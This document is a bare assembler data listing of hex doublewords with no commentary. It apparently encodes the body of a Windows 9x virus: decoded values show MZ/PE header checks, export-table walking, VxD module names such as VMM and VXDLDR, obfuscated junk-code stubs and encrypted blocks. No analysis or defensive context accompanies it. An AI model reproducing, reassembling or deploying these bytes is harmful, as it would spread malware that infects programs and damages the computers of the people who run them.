		dd 0D11746A0h, 0E18CDF30h, 22A19531h, 0B5890628h, 62814DDh
		dd 0B810Fh, 66600000h, 880FFB8Bh, 0
		dd 58F6461h, 0
		dd 0F55B531h, 8B600628h, 282DF995h, 5A525706h, 0C483615Eh
		dd 0E961F904h, 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh
		dd 68h,	3C43B70Fh, 8166D803h, 0F45503Bh, 5785h,	785B8B00h
		dd 1C245C03h, 324738Bh,	561C2474h, 8B207B8Bh, 7C031C73h
		dd 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h
		dd 4C78320h, 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh
		dd 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h, 595A5E5Fh
		dd 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 4934EBCAh, 474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 881h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 9DC35646h, 0AD7B38B2h, 337277DEh, 14E9h
		dd 5D3FF900h, 0ECDDBF1Bh, 2EAF277Ah, 87D3AC9Dh,	722CE70Bh
		dd 0FE960EAh, 0B9000000h, 41753A6Bh, 0EDB1197Eh, 0EA675004h
		dd 0B7605AB5h, 5ED2811Bh, 6157E39Eh, 898285C7h,	62Bh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0C2AF0BC3h, 6AC68BBCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 8006C350h, 836BB01Bh
		dd 1A850F15h, 60000000h, 0FE9h,	5E37900h, 98529F45h, 523554C1h
		dd 0A2596626h, 0CB85BF66h, 5E96061h, 24000000h,	5BA0A118h
		dd 0C850Fh, 7E90000h, 7E000000h, 0C307A9A4h, 0F6137EEh
		dd 6AD8B7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 31E0BFC3h, 0C1F5F5C5h, 6A10E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D77416C3h
		dd 9BA46055h, 10E9h, 99BB7D00h,	0EEF06706h, 64540A26h
		dd 92D0C044h, 0B70F601Ah, 61C78BF0h, 8C8C166h, 0BBBE6060h
		dd 610CCC0Ch, 86858961h, 6A062B89h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F60C355h
		dd 66A6670Ch, 6A08CBC1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0E3A1C356h,	0F3C2842Dh
		dd 0F40FB83h, 5685h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0EC594811h, 5116A136h
		dd 14E9F7h, 0A8D10000h,	5A47FB3Ch, 9E84391Ch, 0E8BB2611h
		dd 517A4EEEh, 0BD8D8553h, 62B895Ah, 8E9h, 78850500h, 814748FFh
		dd 22DE9C1h, 83F50000h,	850F0DFBh, 7Ch,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 7AC35747h, 2730CBBh
		dd 8962BD8Dh, 810F062Bh, 9, 66F08A60h, 392FC881h, 1E9E961h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0CCBAAAC3h, 6097BF95h, 1C5B4DBBh,	10E813h
		dd 0E9300000h, 5EF95BCh, 60E27FE9h, 59D4D36Bh, 8B668A90h
		dd 0F56159CEh, 0F01FB83h, 7885h, 0BD8DF900h, 62B896Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 18C35040h
		dd 0E9F89843h, 173h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0DAC35747h, 0FF4EAD6Bh, 12E94Eh, 8BF50000h
		dd 1B400C2h, 559EE0E6h,	915EDD91h, 1B01C310h, 10E9h, 8CC48E00h
		dd 0C304D654h, 0FE7ECC95h, 0D0BEA18Eh, 2AFB8380h, 0B7850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 737492C3h, 8A0F1A6Ah, 7, 1860Fh, 60FC0000h
		dd 0D56AD2BAh, 12E9611Bh, 0DC000000h, 1B7C2F3Ch, 8CB136FCh
		dd 9953A533h, 0D1212DEEh, 72BD8D9Ah, 6A062B89h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0BCD4C357h, 83CBAD56h, 7E9F9B5h, 8D000000h, 38D2D02h
		dd 98E982E6h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C870C352h,	5374B201h
		dd 0D3AB09FEh, 8E9h, 0DC2A4200h, 3119FEE3h, 27FB83BCh
		dd 334850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 4627BBC3h, 4AEBB3FCh, 0E9FD301Fh
		dd 0Fh,	0FA0C142Bh, 8A0E9736h, 0CCF348DBh, 8DE3F1FCh, 2B897ABDh
		dd 5E906h, 7CDF0000h, 0E90E762Bh, 0Fh, 0B0CFAE30h, 189AA37Fh
		dd 0D540D147h, 89AE3FF4h, 2B898ABDh, 9E86006h, 5000000h
		dd 0DDE8E080h, 0CAEE4C6Fh, 815BD98Bh, 0B8D6E9F0h, 8C66612Ah
		dd 13E960C8h, 5F000000h, 4F4CFE4Ch, 382F9850h, 5127DC4Eh
		dd 47F62476h, 2461F66Fh, 0C00AF503h, 216850Fh, 800F0000h
		dd 8, 2870Fh, 61600000h, 90F5B58Dh, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5F70E0C3h
		dd 61D68B60h, 9188858Bh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 24A34C3h, 0F608ED4h
		dd 58Ah, 35A3BB00h, 50612A21h, 10E9h, 46661D00h, 0B99D7D0Dh
		dd 0D0E77FD4h, 0A130B393h, 241489C8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 98C35040h, 66608F0Dh, 870FDF8Bh
		dd 0Bh,	6E9h, 0B53C2200h, 61A8A21Ch, 244C010Fh,	8B6660FEh
		dd 0C28B66FBh, 6A5A61h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 9C11D4C3h, 0DCB05669h, 60085B61h
		dd 11E8h, 1F0E9200h, 47497B54h,	4CBF8408h, 46B000DEh, 0BF0FAB27h
		dd 9E95EF7h, 30000000h,	0B4D215A8h, 812D4E2Bh, 24C28361h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 58C35545h
		dd 11E973h, 40E90000h, 0FAD6127Dh, 44AB3CF8h, 0C475CF19h
		dd 60B099EDh, 605FB5BAh, 0AE827h, 557D0000h, 550CC57Eh
		dd 0BFF64CD7h, 85BCAB8h, 66615B77h, 60FC7289h, 3820Fh
		dd 8B660000h, 0CE850C8h, 0D6000000h, 332D20E5h,	0BB35AF54h
		dd 5B8C9911h, 0C1FC6159h, 0DE910CEh, 22000000h,	61E1405Dh
		dd 92111266h, 9B70DC91h, 2728966h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 9C35545h, 1880F60h,	0F9000000h
		dd 0CD61F78Bh, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0C549D92Dh, 14E99Dh, 308E0000h
		dd 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h,	5EE9C276h
		dd 0F000000h, 789h, 18A0F00h, 0FC000000h, 9188858Bh, 8C0F062Bh
		dd 16h,	11E9h, 0D37EBB00h, 0AE768BF9h, 648C7435h, 577173Ch
		dd 0B58D0BA1h, 62B90F5h, 0A6858DF5h, 0E9062B47h, 0Eh, 0FCF2A1FAh
		dd 2026B4BFh, 22AB32E4h, 0D0FFC85Eh, 8E9h, 0CF0C5700h
		dd 0B3E738CEh, 828589E4h, 6A062B89h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 64BEC352h
		dd 71145E16h, 6A614739h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0D6C9C353h,	43927B27h
		dd 18D0Fh, 8BF80000h, 2B898285h, 42B56006h, 0AE9h, 57E9500h
		dd 0CEC658F2h, 61A689D1h, 14E9C3h, 78570000h, 0DFD10C81h
		dd 0A5594367h, 8510C311h, 4D31F885h, 6A60CC47h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0CABCC353h, 3CCB2848h, 88BD830Ch, 62B91h, 5B850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0C8BA6EC3h, 49594F4Bh, 5E9AB45h, 0FC000000h,	53CAC985h
		dd 8885C7FCh, 3F062B91h, 6A000101h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 6C52C350h
		dd 0EA13A717h, 1E9F8h, 0CDFC0000h, 20h
		dd 74C00B00h, 0C708D37h, 898ABD8Bh, 8B9062Bh, 0A6000000h
		dd 75492275h, 30488BFAh, 89869D8Bh, 583B062Bh, 8B157F34h
		dd 4D26BD3h, 18BCA03h, 89828589h, 4EB062Bh, 0C5EB008Bh
		dd 82858B61h, 0CF062B89h, 6880Fh, 53600000h, 6145B25Ah
		dd 51006AF8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0A2A10AD5h, 12800F7Bh, 0E9000000h, 0Dh
		dd 0CCB0665Fh, 5DE26A0Bh, 6EB1C880h, 0E8C08B27h, 13h, 0EAF50205h
		dd 0DC89777Bh, 0A0B30308h, 0B9D8B27Dh, 0E88381F9h, 10h
		dd 0C245B67Bh, 0DC0282EAh, 0D953E55Bh, 269C9847h, 5EFBB70Fh
		dd 68E0F5Ah, 81000000h,	5B0C90EEh, 0BAC28143h, 6600005Dh
		dd 0BB40A1BEh, 1733h, 3289E981h, 32FF02FDh, 5E535160h
		dd 0C781665Bh, 5861C953h, 51E5BB60h, 0BF0F5F01h, 0E88161C0h
		dd 367D1E9Ch, 81F18B66h, 5E8E03E8h, 81F98B7Ah, 280567E8h
		dd 425BE3Bh, 6050759Bh,	0DF8B7EB2h, 0B9028F61h,	243492B1h
		dd 0A2F3EA81h, 13E909FCh, 93000000h, 634EC9A1h,	6111B302h
		dd 6AEFB476h, 1037EBBEh, 0C2816FC9h, 9FCA2EFh, 3820F50h
		dd 80000000h, 4B59C7E9h, 11850Fh, 0F570000h, 0E95EF9BFh
		dd 22h,	7E85DBCDh, 66A8AD75h, 0E90D21BFh, 0FFFFFF6Eh, 63B9C29Ah
		dd 0FF071597h, 1F153F01h, 0CF7E7F15h, 48E94A80h, 50000001h
		dd 54000000h, 58000000h, 5C000000h, 60000000h, 64000000h
		dd 68000000h, 6C000000h, 0B0000000h, 0B4000000h, 0B8000000h
		dd 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h
		dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h
		dd 0E4000000h, 0E8000000h, 0EC000000h, 38h dup(0)
		dd 0B7000000h, 0EB005826h, 8D00A150h, 2B931285h, 12E906h
		dd 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h,	0C35979A0h
		dd 94528589h, 11E8062Bh, 7E000000h, 0D7ABEDAEh,	0A765CED2h
		dd 9DD4A71h, 7039F0C8h,	0D559D89h, 0C65E0628h, 280D2585h
		dd 0BD8B5406h, 62820B1h, 0EB49DA68h, 0DABF66E3h, 24048126h
		dd 0A771E4Fh, 68D0Fh, 0EE810000h, 2FD7002Ch, 140DB5FFh
		dd 0EF810628h, 32ECBB04h, 6F58858Dh, 8D2B062Bh,	6282F25h
		dd 0D68BD0FFh, 94568589h, 0DF81062Bh, 0DAEB289h, 3BE9h
		dd 0D6BF0F00h, 52B58B56h, 89062B94h, 52858306h,	4062B94h
		dd 8D60C35Eh, 2B9312B5h, 560FEB06h, 36FF006Ah, 945695FFh
		dd 835E062Bh, 3E8304C6h, 61EC7500h, 0C781FCC3h,	39F53E23h
		dd 9505858Dh, 8D31062Bh, 6280C79h, 4758589h, 0EBE90628h
		dd 0C000000h, 9757928Bh, 838A055Ch, 1D76A188h, 0DD7A0E0Ah
		dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
		dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
		dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h,	0A335375h
		dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh,	0B6F360C9h
		dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
		dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	357D2F6Dh
		dd 0E0A1Eh, 0D25D3407h,	1E59A0A3h, 0
		dd 0B3E90000h, 6800000Ch, 62B989Ch, 0FCE9A0E9h,	99B668FFh
		dd 96E9062Bh, 68FFFCE9h, 62B9AA2h, 0FCE98CE9h, 9B6868FFh
		dd 82E9062Bh, 68FFFCE9h, 62B9BF8h, 0FCE978E9h, 9C9A68FFh
		dd 6EE9062Bh, 68FFFCE9h, 62B9DF9h, 0FCE964E9h, 9EE868FFh
		dd 5AE9062Bh, 68FFFCE9h, 62B9FB4h, 0FCE950E9h, 0A08568FFh
		dd 46E9062Bh, 68FFFCE9h, 62BA14Ch, 0FCE93CE9h, 796F40FFh
		dd 2C2AF8FCh, 0DDDFABAFh, 948A5C60h, 48461317h,	2B9AC8CBh
		dd 0DFE3605Eh, 95991610h, 474BC8CAh, 0DA007D77h, 534E44Ah
		dd 6D407958h, 0CB9DC323h, 5B563D5h, 73457958h, 0B870587Dh
		dd 0E02762F6h, 3DF11610h, 0ED32AA6Eh, 7B749D60h, 9E16F015h
		dd 958F5FE5h, 30B6DA18h, 858ACA68h, 390CCE62h, 8B4AB01Ch
		dd 0AD755B43h, 0BC87511Fh, 47AD95BAh, 68D43A22h, 5CAE7242h
		dd 54FB8E65h, 6EE1379h,	25F5A972h, 6E93915Fh, 87895486h
		dd 666A421h, 5A8D78A0h,	0A63AFC79h, 0E10600D0h,	0EF2D93F3h
		dd 89795A8Dh, 0FA1D33C7h, 0EF795A8Dh, 42129851h, 167CDC48h
		dd 795A8DC6h, 0FB1CB072h, 82D27F7h, 1E8A8454h, 46F22CFAh
		dd 85198BBBh, 3C3A08BCh, 98966317h, 5A13A773h, 4BD5BA0h
		dd 37B4AE7Eh, 5A383D3Ch, 53D79C1h, 0A6A60000h, 9338E046h
		dd 7A3C7F73h, 464010E6h, 0A39D6D21h, 76633626h,	0D945ABA9h
		dd 33C585B5h, 42D645D8h, 0FCAED232h, 0DFE1ACFDh, 8BF02BAFh
		dd 1FF6E1F7h, 1E44755Bh, 472F544Eh, 299557B3h, 1DB563C9h
		dd 0A50B795Bh, 795B1D77h, 0C5873F01h, 0A0746831h, 1B795B1Dh
		dd 0FC5C1CD5h, 5B1D4696h, 30F279h, 0AA235B6Bh, 4310A449h
		dd 0C1594636h, 3D80h, 21F4AD00h, 0AB329804h, 0CD755BBEh
		dd 2EF2E60Bh, 0D8795B86h, 37EB1006h, 0D5CF9E6Ch, 3D62C8B0h
		dd 823CF559h, 5212CB11h, 7FCE6B2Eh, 0F2240F22h,	0C3902426h
		dd 0C1598AB6h, 0A900h, 10E02D00h, 703DF116h, 0C9994D72h
		dd 26F6AACFh, 0FA60C02Ch, 7F739322h, 58100EDCh,	9DE10296h
		dd 7F738F6Ah, 4BC8C292h, 117D7747h, 978D4BB1h, 0E5A77F73h
		dd 15E88851h, 8B1E84F0h, 0ED755B94h, 0EBBEAE2Bh, 9AF85ECAh
		dd 0FA737529h, 0D9A6CC38h, 8D5A5EDBh, 2848218Fh, 9974B40Ch
		dd 96FE2h, 7D734400h, 302EFC00h, 0E1E3AFB3h, 988E6064h
		dd 4C4A171Bh, 2F9ECCCFh, 0E3E76462h, 999D1A14h,	4B4FCCCEh
		dd 0DE04817Bh, 0B30E84Eh, 71447958h, 1513E0FCh,	77365A98h
		dd 38E7834Fh, 94DC3767h, 0C1DC6710h, 8D87572Dh,	21F4A710h
		dd 0AB329804h, 0CD755BBEh, 107B9F0Bh, 0C0A324C6h, 0ACA069FDh
		dd 795B2968h, 0D7540D53h, 0C159E9A2h, 0FA14h, 77466C00h
		dd 0D8A4587Dh, 723E70D6h, 0E0A1DC70h, 4AAA1610h, 739334E4h
		dd 0E5B2407Fh, 74DAC2E7h, 0C92917E0h, 7393B563h, 69FDBF7Fh
		dd 5CC8C693h, 0D29D6B36h, 0DD66AD0h, 738FD619h,	443E0E7Fh
		dd 0CA1278D8h, 6E7F7397h, 0F3F718ACh, 64042923h, 0A2087491h
		dd 755B940Fh, 90C6E571h, 8DDD2F52h, 0F55BBB27h,	795B2B27h
		dd 0DAFB8F51h, 0A9AB769Ch, 46089C84h, 83328873h, 0AC1B346Ch
		dd 1A7ADA46h, 5BFB64B4h, 0BA4E1079h, 7559BDA4h,	89EFB773h
		dd 73209953h, 51BD23E5h, 0E3605E2Bh, 0A61412DFh, 0B40D8EE3h
		dd 555D14EFh, 2A000008h, 0E2E66359h, 95991614h,	464AC7C9h
		dd 0FD017E74h, 0B2B53230h, 4A4815E4h, 0FAC9CDh,	0B2B47F83h
		dd 67613135h, 0CE34C4EAh, 79580A0Eh, 0A6E2572Ah, 24B8AE80h
		dd 0D7B9814Eh, 9147AD4Fh, 0A37F73A1h, 0BE73B1E1h, 0FB615B2Bh
		dd 44141895h, 0E064CD4Ah, 3DF11610h, 0F7F6736Dh, 5645187Ch
		dd 440A53F0h, 40795ED3h, 6E270C91h, 0B09D608h, 2C98FEE6h
		dd 0DDB666CCh, 0C27F73h, 0C7F65C6Ch, 7D755BC8h,	39C90759h
		dd 7EB00EDAh, 0A58DB2B0h, 87EDB511h, 795BE051h,	2FBB21E3h
		dd 9349AF0Fh, 0A5795BE0h, 0E0A177DDh, 11D3795Bh, 350117ABh
		dd 0D17B936Ch, 369D5FEh, 71AB57DCh, 2289456h, 29113634h
		dd 82D27F7h, 23C38C20h,	999B6750h, 0BA268C74h, 46993854h
		dd 2E9A5C7Eh, 0C13E3808h, 85F3EDBDh, 0A91AE8C8h, 6932E9C4h
		dd 3E000007h, 0F6FA776Dh, 0A9AD2A28h, 5A5EDBDDh, 11159288h
		dd 0C6C94644h, 5E5C2998h, 140EDDE1h, 0C6C89397h, 7B754549h
		dd 0E248D8FEh, 7958093Ah, 0E0F66B3Eh, 86AA1610h, 2C05C455h
		dd 0C99226D0h, 0C12D5629h, 70F719Dh, 0B38189C9h, 0ABBB4FB5h
		dd 5B98DE45h, 784AD875h, 88EEE4B6h, 98157B63h, 44B0D5A8h
		dd 7626C5DEh, 75456B73h, 0D2A2567Bh, 65CBB3D8h,	47B375D1h
		dd 0DA575121h, 724006D6h, 1674F74h, 4C693CDCh, 8D5A80E0h
		dd 0E8B66A8Fh, 0DAF084EAh, 790D8FC0h, 0A0C632F4h, 446AD6D0h
		dd 6E567B75h, 0E5B5B9DAh, 5326C6EBh, 0D516C62Ch, 60226D0Ch
		dd 81288EFAh, 0F36724F5h, 0E374C331h, 1DF8A0F9h, 6A366h
		dd 0B1A77800h, 64623034h, 1517E3E7h, 0CCC29498h, 807E4B4Fh
		dd 63520003h, 171B9896h, 0CDD14E48h, 7F830002h,	1238B5AFh
		dd 8FC1C82h, 0A5787958h, 421F430h, 43123898h, 0A83C2449h
		dd 5E3E8092h, 76E2A475h, 9868050h, 163B3505h, 1682A376h
		dd 352E2BF2h, 853D6D63h, 67613107h, 0F75D6D01h,	73701E68h
		dd 855076D6h, 4765E83h,	73200FD4h, 0F9646ACh, 0E0A27320h
		dd 94FA6628h, 73200F44h, 3E9A2EF0h, 19B50E7Ch, 5E39B40Dh
		dd 613A7h, 2117E800h, 0D4D2A0A4h, 85875357h, 3C320408h
		dd 0F0EEBBBFh, 0D3227073h, 878B0806h, 3D41BEB8h, 0EFF37072h
		dd 82A8251Fh, 84C8CF2h,	15E87958h, 0B380A6A0h, 14A890B5h
		dd 0B88A7F52h, 67EB9DC2h, 0B35EFD5Ah, 7CE84EB4h, 5EFC3D16h
		dd 29955775h, 0BC393303h, 82EEE8B8h, 6F948A5Ch,	8A2AF387h
		dd 0BC228EB7h, 737266DEh, 7C7A48D6h, 9D096F57h,	30ADA777h
		dd 3D625C2Ch, 5389EF4Fh, 0E573247Eh, 0FACD8F23h, 0E70D6DD9h
		dd 82844F19h, 7B0FF71Ch, 0C5EC665h, 6E3079h, 0AADE8855h
		dd 718F4621h, 46000005h, 0FE027F75h, 0B1B53230h, 6266E3E5h
		dd 191D9A90h, 0CED14E4Ch, 66643180h, 1C16E5E9h,	0CED09B9Fh
		dd 837D4D51h, 0EA50E006h, 79580F32h, 0A6FE7346h, 8FB4B280h
		dd 6D3D13A7h, 93D1076Dh, 0A1637F73h, 3CA2A46Fh,	6053ACD0h
		dd 3808D683h, 5727DBA4h, 6F06E93h, 0D0362DDEh, 7E9E0464h
		dd 0FA7F73D6h, 7FA49A6Ch, 7C9D3197h, 309CB98Ch,	72743C0Ah
		dd 79F50457h, 0F8E0056Bh, 0CEF45464h, 5C7206FCh, 755BB171h
		dd 988CB173h, 795BB744h, 90B5AF7Eh, 0EE130DDCh,	34EEA709h
		dd 47C47DC3h, 0C1594F32h, 3684h, 21F4B100h, 0A5729804h
		dd 0A70D0FDBh, 0F6069A82h, 5BBE0990h, 0EB9F2B75h, 0F81AA13Ch
		dd 0F1E50A70h, 795B302Fh, 0D9995298h, 57EBE1B3h, 59D1EF8Ah
		dd 0C4C7C1h, 0E0F40000h, 86AA1610h, 3E6EB3DCh, 5922B669h
		dd 6ED4D8A5h, 7F736AAEh, 7DA208CAh, 93FFF9C9h, 74BEE86Fh
		dd 7F13421Dh, 383202B6h, 0CFB477BBh, 9C6C7F73h,	0A2080AD6h
		dd 57512125h, 0FAF8C5EBh, 2AFD9D66h, 50379D09h,	42755BE1h
		dd 40130380h, 0C491B723h, 0CB312BFAh, 1A2ABEA6h, 755E25B4h
		dd 0DAC34F73h, 0E409EAD3h, 0CB1177E3h, 6D732005h, 0B3D945ABh
		dd 676BE8E6h, 0B92E9C9Ah, 45B40D13h, 412B36Ah, 16E70000h
		dd 0D19FA320h, 865256D3h, 31030784h, 0EDBABE3Bh, 236F72EFh
		dd 8A0705D2h, 40BDB786h, 0F26F713Ch, 0A7241EEEh, 4D8BF181h
		dd 0E779580Eh, 13E09F14h
		dd 0B783A915h, 14A890B5h, 251FEFF3h, 21F43FA8h,	0AB329804h
		dd 0CD755BBEh, 2EF2E60Bh, 99795B86h, 514F1D43h,	8704BDBDh
		dd 0C15943F2h, 0E0C4h, 82A6F100h, 0D25AEB28h, 0C0962A68h
		dd 1DD1F6F0h, 36E64C50h, 427F73B7h, 81E7E9B4h, 0CF02F61Bh
		dd 0F77F73ABh, 0ACB02D27h, 1676E2DCh, 73BB68B0h, 0B64A0C7Fh
		dd 597A4DEDh, 8DE087EDh, 0B8DE755Bh, 0DDC5EAECh, 0AE2BED49h
		dd 5ECAEBBEh, 449AAC3Ah, 37467678h, 919AD27h, 7564D7A3h
		dd 6FDB9D73h, 9FD4EB0Fh, 5E872E80h, 992D9391h, 7BF8F6C3h
		dd 4408193Dh, 280D50B8h, 3282AF6h, 0E4B1871Bh, 0AE978E6h
		dd 0AA85B40Ch, 323F3h, 3127F800h, 0E4E2B0B4h, 95976367h
		dd 4C421418h, 0FECBCFh,	0E3D28083h, 979B1816h, 4D51CEC8h
		dd 0FF038082h, 92B8352Fh, 0D7C9C02h, 25F87958h,	4913E0B0h
		dd 0AFDFB579h, 0A263019h, 0ACD23EA4h, 0D7BFE4DAh, 84E42243h
		dd 73FFFE1Eh, 24B87A7Fh, 7847E4Eh, 1610E09Eh, 736D3DF1h
		dd 1A76F7F6h, 4CB21E47h, 755B866Dh, 0E4DEADD3h,	0A632F450h
		dd 18C02686h, 1C795B9Eh, 4B0C65Ah, 21D0011h, 716B3A2Fh
		dd 193F9F0Bh, 0A2B84C4Eh, 0DF062EABh, 46E60BCDh, 80E65273h
		dd 0C5DBCDE4h, 0FA5AC688h, 0C28B4494h, 0CE64F0C9h, 6A758834h
		dd 0E9F98DF3h, 8DF9F3C3h, 8911C72Dh, 6123C9C2h,	0D8A8ACCDh
		dd 9FEB70DEh, 98730EEFh, 257E1h, 655B2C00h, 1816E4E8h
		dd 0C9CB979Bh, 8076484Ch, 3432FF03h, 17E6B4B7h,	0CBCF4C4Ah
		dd 818502FCh, 3337B4B6h, 0C6EC6963h, 0C08D036h,	592C7958h
		dd 1610E0E4h, 8B7E51F1h, 7755553Fh, 0A9157B55h,	5B98B843h
		dd 7BF8BA75h, 0FD03193Dh, 0E5FD1B81h, 0B577795Bh, 9BDEB785h
		dd 3D13C92Fh, 6325795Bh, 0DD69FECFh, 58ECEAB7h,	36A2C396h
		dd 65774D12h, 8C2024C2h, 0F627167Ch, 8F517373h,	1D83E303h
		dd 7323EDFFh, 0D23B779h, 2F911AD7h, 0AF1B380Bh,	85529A49h
		dd 0B5DA9CBDh, 0B5214215h, 655F2F55h, 65A1BBD1h, 1C3BA59h
		dd 0DE0D7195h, 2C619623h, 573F645Ah, 274D5DF1h,	2BF15757h
		dd 4DAA41A8h, 0A4A8258Bh, 996CDAD4h, 656D6CBEh,	186D38Ah
		dd 8A5B0000h, 45131794h, 0FAC6CA47h, 0A5777BF8h, 612E32AFh
		dd 0B7E3E663h, 0FE7B7946h, 0B4312BFAh, 66E3E5B0h, 1B989262h
		dd 0D9FF65F5h, 5B795833h, 80A61388h, 4B21B5B3h,	0BC5C817Bh
		dd 333500E9h, 54C0260Eh, 2CEF4h, 595B27DBh, 0AE495FF3h
		dd 1C755BBAh, 8A8656BCh, 0EF3A795Bh, 1E1703ADh,	0E97D3FF7h
		dd 4F4ECB8Dh, 8BA87B15h, 2E2CF91Fh, 7D8D2109h, 73FA2017h
		dd 0F9C45273h, 0DF0591F7h, 2A366D99h, 1581A275h, 0C3C18FB5h
		dd 0C22B69Eh, 0B018C9C5h, 0B8BA85ABh, 0E106C824h, 0D9456E41h
		dd 35EE1973h, 4DB97BBEh, 0F15D5727h, 3FDEA7CDh,	664E7371h
		dd 0D08EF436h, 47171B3Ch, 5026DF4Dh, 0F3CE69C8h, 0BF3Ch
		dd 0CDC39400h, 807E4C50h, 3133FF03h, 0E8DEB0B4h, 9C9A676Bh
		dd 7F4E1C1Fh, 3337B4B2h, 0E9ED6A64h, 9B9F1C1Eh,	2E54D1CBh
		dd 32E0389Eh, 0C1947958h, 4A10E04Ch, 0F2177D7Fh, 4B0FDE04h
		dd 9EF886ECh, 2349A7Eh,	270F3436h, 0D5FED193h, 4D480369h
		dd 1236755Bh, 1850A722h, 0A0FC9074h, 9E7161DEh,	0B3A30975h
		dd 0C1737727h, 8CECDAFFh, 273DF626h, 2CC08273h,	0F8C8656h
		dd 1C413B0Bh, 0F8051E28h, 1719E4C2h, 756F3EF2h,	50096B50h
		dd 0DC63E96h, 40BDB787h, 4D726C3Ch, 0ACD1C799h,	48163CE0h
		dd 0B3D254Ah, 0AAAA3E40h, 0A19B6BF1h, 42440F35h, 80A1351Dh
		dd 8DB2AC7Ch, 3D6h, 3A87DD00h, 0F4190FE0h, 51767040h, 0ABD0D29Dh
		dd 92E28F7h, 658A8855h,	0C1E6E4B1h, 20453B0Dh, 799EA06Ch
		dd 0D4F9F7C5h, 0E38953FFh, 4C381h, 0EB830000h, 241C8704h
		dd 2414895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h
		dd 2378h, 52241489h, 0E85918BAh, 0B3E2813Eh, 570F6649h
		dd 0F015B1BFh, 0F7474F12h, 44C781D7h, 0C17DCE25h, 0EF8108EFh
		dd 98FE6C16h, 815FFA09h, 40E359EAh, 5AD38969h, 24148B54h
		dd 4C481h, 55500000h, 26022EBDh, 4E5C15Fh, 67F5814Dh, 8137864Bh
		dd 0E46524C5h, 2CC5812Bh, 890E3531h, 0D0015DE8h, 0FF581889h
		dd 835A2434h, 1C8B04C4h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 0DCFFE95Ch, 0CDFAFFFCh, 3B65CAB3h, 30B84BB0h
		dd 3062BA2h, 0A8E0FFC5h, 526690D6h, 7B795A63h, 0DF1BA394h
		dd 0E119A215h, 4655D297h, 8673BD7Ah, 7455ABCDh,	0C775B37Fh
		dd 7B3CF7D2h, 7222F955h, 0F5699B8h, 8E6DD140h, 60140A88h
		dd 0E8218243h, 0Eh, 0F5244BBFh,	47220A5Ch, 85110F9Bh, 0F680A78Ch
